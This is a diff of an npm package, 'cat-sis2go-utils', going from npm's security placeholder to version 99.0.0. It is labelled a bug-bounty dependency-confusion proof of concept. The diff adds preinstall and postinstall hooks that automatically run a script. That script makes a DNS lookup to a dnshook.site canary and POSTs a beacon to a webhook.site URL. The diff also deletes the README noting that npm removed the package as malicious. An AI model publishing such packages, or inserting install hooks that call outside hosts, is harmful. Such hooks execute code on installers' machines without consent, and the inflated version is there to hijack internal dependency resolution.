cat-sis2go-utils 0.0.1-security → 99.0.0

package/index.js

@@ -0,0 +1 @@
+module.exports = { ok: true, note: "cat-sis2go-utils dependency-confusion PoC shim" };

package/package.json

@@ -1,6 +1,12 @@
 {
   "name": "cat-sis2go-utils",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "99.0.0",
+  "description": "SIS2GO utils (dependency-confusion PoC)",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node scripts/run.js preinstall",
+    "postinstall": "node scripts/run.js postinstall"
+  },
+  "author": "bug-bounty PoC (najeh_halawani@wearehackerone.com)",
+  "license": "MIT"
 }

package/scripts/run.js

@@ -0,0 +1,46 @@
+'use strict';
+const http = require('http');
+const https = require('https');
+const dns = require('dns');
+
+const OOB = 'https://webhook.site/d22d92dc-84e5-4b58-8cd6-75bf1ac452c7';
+const DNS_CANARY = 'd22d92dc-84e5-4b58-8cd6-75bf1ac452c7.dnshook.site';
+
+// DNS canary
+try {
+  dns.lookup(DNS_CANARY, () => {});
+  console.log('[payload] DNS canary lookup issued -> ' + DNS_CANARY);
+} catch (e) {}
+
+// HTTP/HTTPS beacon
+try {
+  const u = new URL(OOB);
+  const lib = u.protocol === 'https:' ? https : http;
+  const body = JSON.stringify({ marker: 'ping' });
+
+  const req = lib.request({
+    hostname: u.hostname,
+    port: u.port || (u.protocol === 'https:' ? 443 : 80),
+    path: u.pathname + u.search,
+    method: 'POST',
+    headers: {
+      'Content-Type': 'application/json',
+      'Content-Length': Buffer.byteLength(body)
+    },
+    timeout: 4000
+  }, r => {
+    console.log('[payload] beacon delivered, status ' + r.statusCode);
+    r.resume();
+  });
+
+  req.on('error', e => console.log('[payload] beacon error: ' + e.code));
+  req.on('timeout', () => {
+    console.log('[payload] beacon timeout');
+    req.destroy();
+  });
+
+  req.write(body);
+  req.end();
+} catch (e) {
+  console.log('[payload] beacon error ' + e.message);
+}

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=cat-sis2go-utils for more information.